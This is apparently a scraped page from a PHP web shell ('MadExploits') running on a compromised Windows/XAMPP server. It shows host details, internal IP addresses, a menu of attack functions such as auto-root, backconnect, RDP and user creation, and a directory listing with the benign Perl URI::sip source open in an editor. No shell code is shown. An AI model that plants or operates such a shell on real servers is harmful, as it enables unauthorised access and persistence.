Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
file
[ DIR ]
drwxrwxrwx
urn
[ DIR ]
drwxrwxrwx
Escape.pm
6.9
KB
-rw-rw-rw-
Heuristic.pm
6.37
KB
-rw-rw-rw-
IRI.pm
794
B
-rw-rw-rw-
QueryParam.pm
4.75
KB
-rw-rw-rw-
Split.pm
2.3
KB
-rw-rw-rw-
URL.pm
5.36
KB
-rw-rw-rw-
WithBase.pm
3.77
KB
-rw-rw-rw-
_foreign.pm
107
B
-rw-rw-rw-
_generic.pm
5.69
KB
-rw-rw-rw-
_idna.pm
2.03
KB
-rw-rw-rw-
_ldap.pm
3.17
KB
-rw-rw-rw-
_login.pm
231
B
-rw-rw-rw-
_punycode.pm
5.49
KB
-rw-rw-rw-
_query.pm
2.47
KB
-rw-rw-rw-
_segment.pm
416
B
-rw-rw-rw-
_server.pm
3.64
KB
-rw-rw-rw-
_userpass.pm
1.01
KB
-rw-rw-rw-
data.pm
3.31
KB
-rw-rw-rw-
file.pm
9.53
KB
-rw-rw-rw-
ftp.pm
1.03
KB
-rw-rw-rw-
gopher.pm
2.37
KB
-rw-rw-rw-
http.pm
425
B
-rw-rw-rw-
https.pm
144
B
-rw-rw-rw-
ldap.pm
2.86
KB
-rw-rw-rw-
ldapi.pm
441
B
-rw-rw-rw-
ldaps.pm
144
B
-rw-rw-rw-
mailto.pm
1.25
KB
-rw-rw-rw-
mms.pm
125
B
-rw-rw-rw-
news.pm
1.42
KB
-rw-rw-rw-
nntp.pm
127
B
-rw-rw-rw-
pop.pm
1.18
KB
-rw-rw-rw-
rlogin.pm
129
B
-rw-rw-rw-
rsync.pm
207
B
-rw-rw-rw-
rtsp.pm
125
B
-rw-rw-rw-
rtspu.pm
126
B
-rw-rw-rw-
sftp.pm
98
B
-rw-rw-rw-
sip.pm
1.67
KB
-rw-rw-rw-
sips.pm
143
B
-rw-rw-rw-
snews.pm
172
B
-rw-rw-rw-
ssh.pm
175
B
-rw-rw-rw-
telnet.pm
128
B
-rw-rw-rw-
tn3270.pm
128
B
-rw-rw-rw-
urn.pm
2.12
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sip.pm
# # Written by Ryan Kereliuk <ryker@ryker.org>. This file may be # distributed under the same terms as Perl itself. # # The RFC 3261 sip URI is <scheme>:<authority>;<params>?<query>. # package URI::sip; use strict; use warnings; use parent qw(URI::_server URI::_userpass); use URI::Escape qw(uri_unescape); our $VERSION = '1.76'; sub default_port { 5060 } sub authority { my $self = shift; $$self =~ m,^($URI::scheme_re:)?([^;?]*)(.*)$,os or die; my $old = $2; if (@_) { my $auth = shift; $$self = defined($1) ? $1 : ""; my $rest = $3; if (defined $auth) { $auth =~ s/([^$URI::uric])/ URI::Escape::escape_char($1)/ego; $$self .= "$auth"; } $$self .= $rest; } $old; } sub params_form { my $self = shift; $$self =~ m,^((?:$URI::scheme_re:)?)(?:([^;?]*))?(;[^?]*)?(.*)$,os or die; my $paramstr = $3; if (@_) { my @args = @_; $$self = $1 . $2; my $rest = $4; my @new; for (my $i=0; $i < @args; $i += 2) { push(@new, "$args[$i]=$args[$i+1]"); } $paramstr = join(";", @new); $$self .= ";" . $paramstr . $rest; } $paramstr =~ s/^;//o; return split(/[;=]/, $paramstr); } sub params { my $self = shift; $$self =~ m,^((?:$URI::scheme_re:)?)(?:([^;?]*))?(;[^?]*)?(.*)$,os or die; my $paramstr = $3; if (@_) { my $new = shift; $$self = $1 . $2; my $rest = $4; $$self .= $paramstr . $rest; } $paramstr =~ s/^;//o; return $paramstr; } # Inherited methods that make no sense for a SIP URI. sub path {} sub path_query {} sub path_segments {} sub abs { shift } sub rel { shift } sub query_keywords {} 1;
Close
